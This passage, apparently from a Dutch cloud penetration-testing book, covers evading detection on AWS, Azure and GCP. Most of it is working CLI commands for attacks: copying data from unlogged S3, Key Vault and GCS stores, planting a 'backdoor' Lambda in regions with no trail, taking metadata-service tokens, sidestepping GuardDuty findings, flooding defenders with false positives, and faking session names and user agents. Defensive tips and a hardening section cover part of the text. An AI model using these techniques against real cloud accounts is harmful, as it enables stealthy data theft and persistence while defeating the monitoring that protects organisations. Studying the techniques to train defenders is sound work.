# Bekijk welke event selectors actief zijn
aws cloudtrail get-event-selectors --trail-name management-trail

# Bekijk of insights zijn ingeschakeld
aws cloudtrail get-insight-selectors --trail-name management-trail

# Zoek naar recente events
aws cloudtrail lookup-events \
  --max-results 20 \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin

Azure Monitor

Azure Monitor is een overkoepelende term voor meerdere logging-diensten.

Azure Logging Componenten:
+----------------------------+----------------------------------+-------------------+
| Component                  | Wat wordt gelogd                 | Retentie          |
+----------------------------+----------------------------------+-------------------+
| Activity Log               | Subscription-level operaties     | 90 dagen          |
|                            | (resource CRUD, role assignments) | (gratis)          |
+----------------------------+----------------------------------+-------------------+
| Azure AD Sign-in Logs      | Interactieve en niet-interactieve| 30 dagen (free)   |
|                            | sign-ins, service principal      | 30 dagen (P1/P2)  |
|                            | sign-ins                         |                   |
+----------------------------+----------------------------------+-------------------+
| Azure AD Audit Logs        | Directory-wijzigingen            | 30 dagen          |
|                            | (user/group/app changes)         |                   |
+----------------------------+----------------------------------+-------------------+
| Diagnostic Logs            | Resource-specifieke logs         | Configureerbaar   |
|                            | (NSG flow, Key Vault access,     |                   |
|                            |  SQL audit, etc.)                |                   |
+----------------------------+----------------------------------+-------------------+
| Microsoft Defender Alerts  | Security-alerts en incidents     | 180 dagen         |
+----------------------------+----------------------------------+-------------------+
# Bekijk het Activity Log
az monitor activity-log list \
  --start-time $(date -d '24 hours ago' -u +%Y-%m-%dT%H:%M:%SZ) \
  --query '[].{time:eventTimestamp, op:operationName.value, status:status.value, caller:caller}' \
  -o table

# Bekijk Azure AD sign-in logs
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=20&\$orderby=createdDateTime desc" \
  | jq '.value[] | {time: .createdDateTime, user: .userPrincipalName, app: .appDisplayName, status: .status.errorCode}'

GCP Cloud Audit Logs

GCP Audit Log Types:
+----------------------------+----------------------------------+-------------------+
| Type                       | Wat wordt gelogd                 | Standaard actief? |
+----------------------------+----------------------------------+-------------------+
| Admin Activity             | Resource configuratie-wijzigingen | Ja (altijd)       |
|                            | (kan niet worden uitgeschakeld)  |                   |
+----------------------------+----------------------------------+-------------------+
| Data Access                | Resource data lezen/schrijven    | NEE (behalve      |
|                            | (BigQuery altijd aan)            | BigQuery)         |
+----------------------------+----------------------------------+-------------------+
| System Event               | Google-initiated configuratie    | Ja (altijd)       |
|                            | wijzigingen                      |                   |
+----------------------------+----------------------------------+-------------------+
| Policy Denied              | Access denied events             | Ja (altijd)       |
+----------------------------+----------------------------------+-------------------+
# Bekijk recente audit logs
gcloud logging read "logName:cloudaudit.googleapis.com" \
  --limit 20 \
  --format json

# Filter op specifieke activiteiten
gcloud logging read '
  logName="projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Factivity"
  AND protoPayload.methodName="google.iam.admin.v1.CreateServiceAccount"
' --limit 10

Wat Wordt Gelogd en Wat Niet

Dit is de cruciale vraag. De gaten in de logging zijn precies daar waar aanvallers opereren.

Wat wordt WEL gelogd (standaard):        Wat wordt NIET gelogd (standaard):
+--------------------------------------+  +--------------------------------------+
| AWS:                                 |  | AWS:                                 |
| - IAM operaties                      |  | - S3 GetObject/PutObject (data)      |
| - EC2 RunInstances/TerminateInstances|  | - Lambda Invoke                      |
| - AssumeRole                         |  | - DynamoDB GetItem/PutItem           |
| - ConsoleLogin                       |  | - KMS Encrypt/Decrypt                |
| - CreateBucket                       |  | - STS GetCallerIdentity*             |
|                                      |  | - Sommige read-only API calls        |
+--------------------------------------+  |                                      |
| Azure:                               |  +--------------------------------------+
| - Resource CRUD                      |  | Azure:                               |
| - Role assignments                   |  | - Key Vault data plane (zonder diag) |
| - NSG wijzigingen                    |  | - Storage data plane (zonder diag)   |
|                                      |  | - SQL query data (zonder audit)      |
+--------------------------------------+  |                                      |
| GCP:                                 |  +--------------------------------------+
| - IAM policy wijzigingen             |  | GCP:                                 |
| - Resource creation/deletion         |  | - GCS object access (zonder data     |
| - Service account key creation       |  |   access logs)                       |
|                                      |  | - Compute instance SSH               |
+--------------------------------------+  | - Cloud Functions invocations        |
                                          +--------------------------------------+
* GetCallerIdentity wordt sinds 2024 wel gelogd in sommige configuraties

11.2 CloudTrail Evasion

Event Selectors

CloudTrail event selectors bepalen welke events worden gelogd. Standaard worden alleen management events gelogd. Data events (S3 reads/writes, Lambda invocations) vereisen expliciete configuratie.

# Bekijk welke event selectors actief zijn
aws cloudtrail get-event-selectors --trail-name main-trail

# Typische output -- alleen management events:
# {
#   "EventSelectors": [{
#     "ReadWriteType": "All",
#     "IncludeManagementEvents": true,
#     "DataResources": [],        <-- GEEN data events!
#     "ExcludeManagementEventSources": []
#   }]
# }

# Dit betekent:
# - S3 object reads/writes worden NIET gelogd
# - Lambda invocations worden NIET gelogd
# - DynamoDB reads/writes worden NIET gelogd

Exploitatie van ontbrekende data events:

# Lees data uit S3 -- niet gelogd als data events niet zijn ingeschakeld
aws s3 cp s3://sensitive-bucket/financial-data/report.xlsx ./

# Roep Lambda functies aan -- niet gelogd
aws lambda invoke --function-name data-processor --payload '{}' output.json

# Lees DynamoDB items -- niet gelogd
aws dynamodb get-item --table-name UserSecrets --key '{"userId": {"S": "admin"}}'

# Decrypt KMS data -- niet gelogd
aws kms decrypt --ciphertext-blob fileb://encrypted-data.blob --output text --query Plaintext | base64 -d

Management vs Data Events

Het verschil tussen management en data events is cruciaal voor evasion.

Management Events (standaard gelogd):    Data Events (vaak niet gelogd):
CreateBucket                              GetObject / PutObject (S3)
DeleteBucket                              Invoke (Lambda)
PutBucketPolicy                           GetItem / PutItem (DynamoDB)
CreateRole                                Encrypt / Decrypt (KMS)
AttachRolePolicy                          GetSecretValue (Secrets Manager)*
AssumeRole                                SendMessage (SQS)
RunInstances                              Publish (SNS)

* Secrets Manager GetSecretValue is een management event in CloudTrail,
  maar wordt soms gemist door SIEM-regels die alleen op "destructieve"
  events filteren.
# Scenario: je hebt credentials en wilt data stelen zonder detectie

# GELOGD (management event):
aws s3 ls  # ListBuckets
aws s3 ls s3://target-bucket  # ListObjectsV2

# NIET GELOGD (data event, tenzij expliciet geconfigureerd):
aws s3 cp s3://target-bucket/secrets/api-keys.json ./  # GetObject

# De aanvaller weet WEL welke buckets er zijn (management event),
# maar de verdediger ziet NIET dat er data is gedownload (data event)

Regions Zonder Trail

CloudTrail kan per-region of multi-region zijn geconfigureerd. Als een trail alleen in eu-west-1 is geconfigureerd, zijn acties in us-east-1 onzichtbaar.

# Check of de trail multi-region is
aws cloudtrail describe-trails --query 'trailList[].{Name:Name, MultiRegion:IsMultiRegionTrail, Home:HomeRegion}'

# Als de trail NIET multi-region is:
# Voer acties uit in een region zonder trail
aws lambda create-function \
  --function-name backdoor \
  --runtime python3.11 \
  --handler index.handler \
  --role arn:aws:iam::111111111111:role/LambdaRole \
  --zip-file fileb://payload.zip \
  --region ap-southeast-1  # Exotische regio zonder trail

# Of deploy resources in een region die niemand monitort
aws ec2 run-instances \
  --image-id ami-0abc123 \
  --instance-type t3.micro \
  --region af-south-1  # Cape Town -- wie kijkt daar?

IB Tip: Configureer ALTIJD een multi-region trail. Beter nog: configureer een organization trail vanuit het AWS Organizations management account. Dit dekt alle accounts en alle regio’s. Controleer: aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==false].Name' – als dit resultaten geeft, heb je een probleem.

Non-Logged API Calls

Sommige AWS API-calls worden simpelweg niet gelogd door CloudTrail, ongeacht de configuratie.

# API calls die NIET in CloudTrail verschijnen:
# (Dit verandert regelmatig -- AWS voegt geleidelijk logging toe)

# Sommige read-only calls:
aws sts get-caller-identity         # Soms niet gelogd (afhankelijk van versie)
aws sts get-session-token           # Vaak niet gelogd
aws iam generate-credential-report  # Management event, maar soms gemist

# Metadata service calls (vanuit EC2/Lambda):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName
# IMDS calls zijn NOOIT zichtbaar in CloudTrail

# Calls naar S3 presigned URLs:
# De originele CreatePresignedUrl is een client-side operatie (niet gelogd)
# De GET/PUT op de presigned URL is een data event
curl "https://bucket.s3.amazonaws.com/object?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."

Organizations Trail Gaps

# AWS Organizations trail zou alles moeten loggen, maar:

# 1. Nieuwe accounts hebben een delay voordat logging start
# 2. SCPs (Service Control Policies) kunnen CloudTrail niet blokkeren,
#    maar ze kunnen wel de trail-configuratie beschermen

# 3. Als een member account een eigen trail heeft die data events logt,
#    vervangt de org trail die NIET
# De org trail logt alleen wat geconfigureerd is op org-niveau

# Check of er een organization trail is
aws cloudtrail describe-trails --query 'trailList[?IsOrganizationTrail==`true`]'

# Check event selectors van de org trail
aws cloudtrail get-event-selectors --trail-name org-trail

11.3 Azure Monitor Evasion

Diagnostic Settings Gaps

Azure Diagnostic Settings moeten expliciet worden geconfigureerd per resource. Zonder diagnostic settings worden data plane operaties niet gelogd.

# Bekijk welke resources diagnostic settings hebben
az monitor diagnostic-settings list \
  --resource /subscriptions/SUB_ID/resourceGroups/prod-rg/providers/Microsoft.KeyVault/vaults/prod-keyvault

# Als dit leeg is: Key Vault access wordt NIET gelogd!

# Controleer alle Key Vaults op diagnostic settings
for vault in $(az keyvault list --query '[].id' -o tsv); do
  settings=$(az monitor diagnostic-settings list --resource "$vault" --query 'value[].name' -o tsv)
  if [ -z "$settings" ]; then
    echo "GEEN DIAGNOSTICS: $vault"
  fi
done

# Exploitatie: lees secrets zonder logging
az keyvault secret show --vault-name unmonitored-vault --name admin-password

Storage accounts zonder diagnostic settings:

# Check storage account diagnostics
az monitor diagnostic-settings list \
  --resource /subscriptions/SUB_ID/resourceGroups/rg/providers/Microsoft.Storage/storageAccounts/storageacct

# Zonder diagnostics: blob reads/writes zijn onzichtbaar
az storage blob download \
  --account-name unmonitored-storage \
  --container-name secrets \
  --name database-backup.sql \
  --file ./stolen-backup.sql

Activity Log Retention

Azure Activity Log heeft standaard 90 dagen retentie. Na die periode zijn de logs weg – tenzij ze naar een Log Analytics workspace of Storage account worden doorgestuurd.

# Check Activity Log export configuratie
az monitor diagnostic-settings list \
  --resource "/subscriptions/SUB_ID" \
  --resource-type "Microsoft.Insights/diagnosticSettings"

# Als er geen export is geconfigureerd:
# - Activity logs ouder dan 90 dagen zijn permanent verloren
# - Forensisch onderzoek na 90 dagen is onmogelijk

# Strategie: als aanvaller, wees geduldig
# Acties van >90 dagen geleden zijn ondetecteerbaar

Sign-in Logs vs Audit Logs

Azure AD heeft twee types logs die vaak verward worden:

# Sign-in logs: wie heeft zich wanneer aangemeld
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$top=5" \
  | jq '.value[] | {time: .createdDateTime, user: .userPrincipalName, app: .appDisplayName, ip: .ipAddress}'

# Audit logs: wat is er gewijzigd in de directory
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=5" \
  | jq '.value[] | {time: .activityDateTime, activity: .activityDisplayName, actor: .initiatedBy.user.userPrincipalName}'

# Belangrijk verschil:
# - Service principal sign-ins staan in een APART log
# - Niet-interactieve sign-ins staan in een APART log
# - Beide worden vaak NIET doorgestuurd naar de SIEM

Evasion via service principal:

# Service principal sign-ins zijn minder zichtbaar dan user sign-ins
# Veel organisaties monitoren alleen "interactieve" sign-ins

# Login als service principal (geen MFA, geen conditional access alerts)
az login --service-principal \
  -u "$APP_ID" \
  -p "$CLIENT_SECRET" \
  --tenant "$TENANT_ID"

# Dit verschijnt in:
# - Service principal sign-in logs (apart log, vaak niet gemonitord)
# - NIET in interactieve sign-in logs
# - NIET in audit logs (tenzij er directory-wijzigingen worden gedaan)

11.4 GCP Audit Log Evasion

Admin Activity vs Data Access

# Admin Activity logs zijn ALTIJD aan en KUNNEN NIET worden uitgeschakeld
# Dit is een bewuste keuze van Google -- goed voor verdedigers

# Maar Data Access logs zijn standaard UIT (behalve BigQuery)
# Check de huidige configuratie
gcloud projects get-iam-policy PROJECT_ID \
  --format json | jq '.auditConfigs'

# Typische output als data access logs NIET zijn geconfigureerd:
# null of []

# Dit betekent: reads op GCS, Datastore, Spanner, etc. worden NIET gelogd

# Exploitatie:
# Lees data uit GCS -- niet gelogd
gsutil cp gs://sensitive-bucket/customer-data.csv ./

# Lees data uit Firestore -- niet gelogd
gcloud firestore export gs://attacker-bucket/ --collection-ids=users

# Lees data uit BigQuery -- WEL gelogd (altijd aan)
bq query 'SELECT * FROM dataset.users LIMIT 100'
# ^ Dit is altijd zichtbaar, ook zonder expliciete configuratie

Exempted Services

GCP-audit logs kunnen worden geconfigureerd om bepaalde services uit te zonderen van data access logging.

# Bekijk of er exemptions zijn geconfigureerd
gcloud projects get-iam-policy PROJECT_ID --format json | \
  jq '.auditConfigs[] | select(.exemptedMembers != null)'

# Sommige service accounts worden vaak geexempt om kosten te besparen
# (Data access logs kosten geld per volume)

# Als je een geexempt service account kunt impersonaten:
gcloud auth print-access-token \
  --impersonate-service-account=exempted-sa@project.iam.gserviceaccount.com

# Nu zijn je data access operaties onzichtbaar

Organization-Level vs Project-Level

# Organization-level audit config overschrijft project-level
# MAAR: niet alle organisaties hebben org-level audit geconfigureerd

# Check org-level
gcloud organizations get-iam-policy ORG_ID --format json | jq '.auditConfigs'

# Check project-level
gcloud projects get-iam-policy PROJECT_ID --format json | jq '.auditConfigs'

# Als org-level geen data access logging afdwingt:
# Project owners kunnen hun eigen logging uitschakelen
# (Als ze de juiste rechten hebben)

11.5 GuardDuty en Defender Evasion

AWS GuardDuty

GuardDuty is AWS’s threat detection service. Het analyseert CloudTrail, VPC Flow Logs, DNS logs en (optioneel) S3 data events.

# Check of GuardDuty is ingeschakeld
aws guardduty list-detectors

# Bekijk de detector configuratie
aws guardduty get-detector --detector-id DETECTOR_ID

# GuardDuty detecteert onder andere:
# - Ongewone API calls vanuit ongewone locaties
# - EC2 instances die cryptocurrency minen
# - DNS queries naar bekende C2 domeinen
# - Credential exfiltration via IMDS
# - Brute force attacks op SSH/RDP

Bekende detection rules en hoe ze te vermijden:

# Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
# Trigger: EC2 instance credentials worden buiten AWS gebruikt
# Evasion: gebruik de credentials VANUIT een andere AWS service
#          (Lambda, CloudShell, een andere EC2 instance)

# Finding: Recon:IAMUser/MaliciousIPCaller.Custom
# Trigger: API calls vanaf bekende malicious IPs
# Evasion: gebruik een VPN/proxy in een "schone" IP-range
#          Of beter: gebruik de target's eigen CloudShell of EC2

# Finding: Discovery:S3/MaliciousIPCaller.Custom
# Trigger: S3 API calls vanaf bekende malicious IPs
# Evasion: idem -- opereer vanuit "schone" infrastructuur

# Finding: Trojan:EC2/DNSDataExfiltration
# Trigger: DNS queries die op data exfiltratie lijken
# Evasion: gebruik HTTPS in plaats van DNS
#          Of gebruik korte, niet-encoded subdomains

# Finding: CryptoCurrency:EC2/BitcoinTool.B!DNS
# Trigger: DNS queries naar mining pools
# Evasion: niet relevant voor pentesting, maar goed om te weten

GuardDuty blinde vlekken:

# GuardDuty analyseert NIET:
# - CloudWatch Logs inhoud
# - Application-level logs
# - Container logs (ECS/EKS) -- behalve met EKS Audit Log Monitoring
# - Lambda function logs
# - RDS query logs

# GuardDuty heeft een delay van 5-15 minuten
# Snelle operaties kunnen worden uitgevoerd voordat alerts triggeren

# GuardDuty kan worden uitgeschakeld door een admin
# (Maar dat is een management event dat WEL in CloudTrail staat)
aws guardduty delete-detector --detector-id DETECTOR_ID
# ^ Dit is extreem opvallend -- doe dit niet

IB Tip: GuardDuty uitschakelen is de meest opvallende actie die je kunt doen. Het triggert een DeleteDetector event in CloudTrail en – als het goed is geconfigureerd – een alert in de SIEM. Bovendien, in een AWS Organization kan GuardDuty door het management account worden afgedwongen. De betere evasion-strategie is om binnen GuardDuty’s blinde vlekken te opereren.

Microsoft Defender for Cloud

# Bekijk Defender for Cloud status
az security pricing list --query '[].{name:name, tier:pricingTier}'

# Defender detecteert onder andere:
# - Anomalous Azure AD sign-ins
# - Suspicious VM activities
# - Kubernetes cluster attacks
# - SQL injection attempts
# - Brute force attacks

# Evasion strategieen:

# 1. Gebruik managed identities in plaats van user credentials
#    Managed identity tokens triggeren minder alerts
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# 2. Opereer binnen verwachte patronen
#    Als de app normaal gesproken Key Vault leest, is een extra read minder verdacht

# 3. Gebruik de Azure Cloud Shell als proxy
#    Acties vanuit Cloud Shell komen vanaf Microsoft IP-ranges
#    En worden geassocieerd met een "echte" user session

# 4. Vermijd bulk-operaties
#    10.000 API calls in een minuut triggert anomalie-detectie
#    100 calls verspreid over een uur niet

False Positive Generation

Een geavanceerde evasion-techniek: genereer zoveel false positives dat het security team echte alerts negeert (alert fatigue).

# Disclaimer: dit is een analyse-techniek, geen aanbeveling

# Genereer benigne GuardDuty findings door:
# 1. Veel DNS lookups naar verdacht-lijkende domeinen
for i in $(seq 1 100); do
  nslookup "random-${i}.suspicious-looking-domain.com" 2>/dev/null
done

# 2. Kleine hoeveelheden "verdachte" API calls
for i in $(seq 1 50); do
  aws iam list-users --max-items 1 2>/dev/null
  sleep $((RANDOM % 30 + 10))
done

# 3. Poortscans vanuit EC2 naar interne ranges
nmap -sn 10.0.0.0/24  # Triggert GuardDuty Recon:EC2/Portscan

# Het doel: het security team wordt overspoeld met low-severity alerts
# en mist de high-severity alert van de echte aanval

11.6 IP-Based Evasion

Cloud Shell als Proxy

Elke grote cloud provider biedt een browser-based shell. Acties vanuit Cloud Shell komen vanaf de provider’s eigen IP-ranges en worden geassocieerd met een legitieme user session.

# AWS CloudShell
# Beschikbaar via de AWS Console
# IP-range: AWS-owned (niet geassocieerd met de klant)
# CloudTrail toont de user's IAM identity, maar het source IP is een AWS IP

# Azure Cloud Shell
# https://shell.azure.com
# IP-range: Microsoft-owned
# Activity Log toont een Microsoft IP als source

# GCP Cloud Shell
# https://console.cloud.google.com/cloudshell
# IP-range: Google-owned
# Audit logs tonen een Google IP als source

# Voordeel: het source IP triggert geen geo-based alerts
# Het lijkt op normale cloud console activiteit

Using Target’s Own Compute

De meest effectieve IP-based evasion: gebruik de compute van het doelwit zelf.

# Methode 1: EC2 instance in de target account
# Als je een EC2 instance kunt starten of compromitteren,
# komen alle API calls vanaf een IP in de klant's VPC

# Methode 2: Lambda functie
# Lambda's draaien op AWS-owned IPs, maar:
# - In een VPC: het outbound IP is het NAT Gateway IP van de klant
# - Zonder VPC: het IP is een AWS Lambda IP

# Methode 3: SSM Session Manager
# Start een session naar een bestaande EC2 instance
aws ssm start-session --target i-0abc123def456789
# Nu opereer je VANUIT de EC2 instance
# Source IP = instance's VPC IP (voor API calls)
# Geen SSH nodig, geen security group wijziging nodig

# Methode 4: Azure Bastion
az network bastion ssh \
  --name bastion-host \
  --resource-group prod-rg \
  --target-resource-id /subscriptions/.../virtualMachines/target-vm \
  --auth-type AAD

VPN Through Cloud Services

# Gebruik een cloud VPN-dienst om je verkeer te routeren via een
# "vertrouwd" IP-adres

# Methode 1: SSH tunnel via een EC2 instance in de target account
ssh -D 1080 ec2-user@target-ec2-instance
# Nu gaat al je verkeer via de EC2 instance's IP

# Methode 2: WireGuard VPN op een kleine instance
# Deploy een t3.micro met WireGuard
# Route je pentest-verkeer erdoorheen

# Methode 3: Azure VPN Point-to-Site
# Als je de VPN configuratie kunt ophalen:
az network vnet-gateway vpn-client generate \
  --name target-vpn-gw \
  --resource-group net-rg \
  --processor-architecture X86
# Download en importeer de VPN client configuratie

11.7 Credential Evasion

Temporary Credentials

Temporary credentials (STS tokens) zijn moeilijker te tracken dan permanent access keys.

# Genereer temporary credentials via STS
aws sts get-session-token --duration-seconds 3600

# Of via AssumeRole
aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/SomeRole \
  --role-session-name "session-$(date +%s)" \
  --duration-seconds 3600

# Voordelen van temporary credentials:
# 1. Ze verlopen automatisch (geen cleanup nodig)
# 2. De session name kan misleidend zijn
# 3. Ze zijn moeilijker te blacklisten (geen vaste key ID)
# 4. Veel monitoring tools focussen op permanent access keys

# Nadeel: AssumeRole IS een management event in CloudTrail
# Maar de GEBRUIKER van de temporary credentials is lastiger te tracken

STS Session Tokens

# Session tokens met misleidende session names
aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/LambdaExecutionRole \
  --role-session-name "lambda-execution-b7d92a3f"
# Lijkt op een legitieme Lambda execution

aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/AdminRole \
  --role-session-name "AWSCloudFormation-$(date +%s)"
# Lijkt op een CloudFormation operatie

# In CloudTrail verschijnt dit als:
# "arn:aws:sts::111111111111:assumed-role/AdminRole/AWSCloudFormation-1709395200"
# Wie gaat dit onderscheiden van een echte CloudFormation operatie?

Managed Identity Tokens

Azure Managed Identity tokens zijn bijzonder lastig te monitoren.

# Managed Identity token ophalen (vanuit de VM/Function zelf)
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Dit token:
# - Heeft een korte TTL (~1 uur standaard)
# - Is niet gekoppeld aan een user, maar aan een resource
# - Verschijnt in Azure AD sign-in logs als "Managed Identity" sign-in
#   (apart log dat vaak niet wordt gemonitord)
# - Kan NIET worden revoked (alleen wachten tot het verloopt)
# - Het IP-adres in de sign-in log is het IP van de resource
#   (wat een verwacht IP is)

# GCP equivalent:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Het GCP service account token:
# - TTL van 1 uur
# - Niet individueel revocable
# - Verschijnt in audit logs met het service account als actor

Token Caching

# AWS credential caching -- gebruik van gecachede credentials
# vermindert het aantal AssumeRole calls in CloudTrail

# Stap 1: Assume een role en cache de credentials
CREDS=$(aws sts assume-role \
  --role-arn arn:aws:iam::111111111111:role/TargetRole \
  --role-session-name cached-session \
  --duration-seconds 43200)  # 12 uur

export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')

# Stap 2: Gebruik de gecachede credentials voor alle operaties
# Slechts 1 AssumeRole event in CloudTrail
# Alle volgende API calls gebruiken dezelfde session

# Stap 3: Na expiratie, vernieuw de credentials
# Dit genereert weer 1 AssumeRole event

IB Tip: Monitor AssumeRole events met ongebruikelijke DurationSeconds waarden. De standaard is 1 uur. Een session van 12 uur is verdacht. Monitor ook session names die patronen volgen van bekende AWS services (CloudFormation, CodePipeline, etc.) – een aanvaller die zich voordoet als een AWS service is een klassiek evasion-patroon.

11.8 API Evasion

Rate Limiting Awareness

Cloud providers implementeren rate limiting op hun API’s. Te veel calls in korte tijd triggert niet alleen throttling maar ook anomalie-detectie.

# AWS API rate limits zijn service-specifiek
# IAM: ~15 requests/seconde
# EC2: verschilt per actie
# S3: ~5.500 GET requests/seconde per prefix

# Evasion: spreek je calls over tijd
# In plaats van:
for i in $(seq 1 1000); do
  aws iam list-users
done
# ^ Dit triggert GuardDuty Recon:IAMUser/UserPermissions

# Gebruik:
for i in $(seq 1 1000); do
  aws iam list-users --max-items 1
  sleep $((RANDOM % 5 + 2))  # 2-7 seconden pauze
done
# ^ Verspreid over ~90 minuten, lijkt op normale activiteit

SDK vs Raw API

# AWS SDK calls en CLI calls zien er anders uit in CloudTrail

# CLI call:
aws s3 ls s3://bucket/
# CloudTrail userAgent: "aws-cli/2.15.0 Python/3.11.6 Linux/..."

# boto3 SDK call:
# CloudTrail userAgent: "Boto3/1.34.0 md/Botocore#1.34.0 ..."

# Custom SDK call:
# CloudTrail userAgent: "aws-sdk-java/2.21.0 Linux/..."

# Als het doelwit primair Java-applicaties draait,
# gebruik dan de Java SDK om op te gaan in het verkeer

# Stel een custom user agent in:
export AWS_SDK_UA_APP_ID="internal-monitoring/1.0"
aws s3 ls  # Toont nu een custom userAgent in CloudTrail

Python SDK met custom user agent:

import boto3
from botocore.config import Config

# Configureer een user agent die lijkt op een legitieme applicatie
config = Config(
    user_agent_extra="app/InternalMonitoring/2.1.0"
)

# Of gebruik de user agent van een bekende AWS service
config = Config(
    user_agent_extra="AWSCloudFormation/2.0"
)

s3 = boto3.client('s3', config=config)
s3.list_buckets()

User Agent Manipulation

# CloudTrail logt de user agent bij elke API call
# De user agent onthult welke tool/SDK is gebruikt

# Voorbeelden van user agents in CloudTrail:
# Console: "console.amazonaws.com"
# CLI: "aws-cli/2.15.0 Python/3.11.6 Darwin/23.1.0 ..."
# boto3: "Boto3/1.34.0 md/Botocore#1.34.0 ..."
# Terraform: "APN/1.0 HashiCorp/1.0 Terraform/1.7.0 ..."

# Als het doelwit Terraform gebruikt, masquerade als Terraform:
export AWS_EXECUTION_ENV="Terraform"

# Of via curl met een custom user agent
curl -s -X GET \
  "https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08" \
  -H "User-Agent: APN/1.0 HashiCorp/1.0 Terraform/1.7.0 (+https://www.terraform.io)" \
  --aws-sigv4 "aws:amz:eu-west-1:iam" \
  --user "ACCESS_KEY:SECRET_KEY"

# Azure: user agent in REST API calls
curl -s \
  -H "Authorization: Bearer $TOKEN" \
  -H "User-Agent: python-requests/2.31.0 azure-mgmt-compute/30.4.0 Azure-SDK-For-Python" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

11.9 Clean-Up Procedures

Removing Traces

Na een operatie wil je sporen verwijderen. Maar in de cloud is “sporen verwijderen” ingewikkelder dan op een server – je kunt CloudTrail niet deleten (nou ja, niet zonder dat het opvalt).

# WAT JE WEL KUNT DOEN:

# 1. Verwijder resources die je hebt aangemaakt
aws lambda delete-function --function-name backdoor-function
aws iam delete-user --user-name temp-user
aws ec2 terminate-instances --instance-ids i-0abc123

# 2. Verwijder je security groups
aws ec2 delete-security-group --group-id sg-xyz789

# 3. Verwijder je IAM policies
aws iam delete-role-policy --role-name TargetRole --policy-name backdoor-policy
aws iam detach-role-policy --role-name TargetRole --policy-arn arn:aws:iam::111111111111:policy/temp-policy
aws iam delete-policy --policy-arn arn:aws:iam::111111111111:policy/temp-policy

# 4. Verwijder EventBridge rules en targets
aws events remove-targets --rule backdoor-rule --ids target1
aws events delete-rule --name backdoor-rule

# WAT JE NIET KUNT DOEN:
# - CloudTrail logs verwijderen (ze staan in een S3 bucket met MFA delete)
# - Azure Activity Logs verwijderen (geen API voor)
# - GCP Admin Activity logs verwijderen (immutable)

Resetting Credentials

# Als je credentials hebt gewijzigd of aangemaakt, reset ze

# Verwijder extra access keys
aws iam delete-access-key \
  --user-name target-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE

# Reset login profiles
aws iam delete-login-profile --user-name backdoor-user

# Azure: verwijder app credentials
az ad app credential delete \
  --id APP_ID \
  --key-id CREDENTIAL_KEY_ID

# Verwijder service principals
az ad sp delete --id SP_OBJECT_ID

Restoring Original Configurations

# Herstel trust policies naar de originele staat
# (bewaar de originele configuratie VOORDAT je wijzigingen maakt!)

# IAM trust policy terugzetten
aws iam update-assume-role-policy \
  --role-name ModifiedRole \
  --policy-document file://original-trust-policy.json

# S3 bucket notification configuratie terugzetten
aws s3api put-bucket-notification-configuration \
  --bucket modified-bucket \
  --notification-configuration file://original-notification.json

# Route53 records terugzetten
aws route53 change-resource-record-sets \
  --hosted-zone-id Z1234567890 \
  --change-batch file://original-records.json

# Azure: verwijder custom role definitions
az role definition delete --name "Diagnostics Reader"

# Azure: verwijder role assignments
az role assignment delete \
  --assignee ATTACKER_SP_ID \
  --role Contributor \
  --scope /subscriptions/SUB_ID

# GCP: verwijder IAM bindings
gcloud projects remove-iam-policy-binding PROJECT_ID \
  --member="serviceAccount:attacker-sa@project.iam.gserviceaccount.com" \
  --role="roles/editor"

IB Tip: De ironie van clean-up is dat elke clean-up actie zelf ook wordt gelogd. DeleteAccessKey, DeleteRole, UpdateAssumeRolePolicy – het zijn allemaal management events. Een goed security team kan de “clean-up trail” volgen om te reconstrueren wat de aanvaller heeft gedaan. De les: bewaar altijd de originele configuratie en zet die exact terug, in plaats van resources te verwijderen en opnieuw aan te maken.

Verdedigingsmaatregelen

De ironie van dit hoofdstuk: je hebt net geleerd hoe je detectie kunt ontwijken, en nu gaan we uitleggen hoe je die ontwijking kunt detecteren. Het is een eeuwige wapenwedloop, en dat is eigenlijk best grappig als je er lang genoeg over nadenkt. Of deprimerend. Een van de twee.

Organization-Wide Trails

# AWS: Configureer een organization trail met data events
aws cloudtrail create-trail \
  --name org-comprehensive-trail \
  --s3-bucket-name org-audit-central \
  --is-organization-trail \
  --is-multi-region-trail \
  --enable-log-file-validation \
  --include-global-service-events \
  --kms-key-id arn:aws:kms:eu-west-1:111111111111:key/KEY_ID

# Voeg data events toe
aws cloudtrail put-event-selectors \
  --trail-name org-comprehensive-trail \
  --advanced-event-selectors '[
    {
      "Name": "Log all S3 data events",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Data"]},
        {"Field": "resources.type", "Equals": ["AWS::S3::Object"]}
      ]
    },
    {
      "Name": "Log all Lambda invocations",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Data"]},
        {"Field": "resources.type", "Equals": ["AWS::Lambda::Function"]}
      ]
    },
    {
      "Name": "Log all management events",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Management"]}
      ]
    }
  ]'

# Enable insights
aws cloudtrail put-insight-selectors \
  --trail-name org-comprehensive-trail \
  --insight-selectors '[
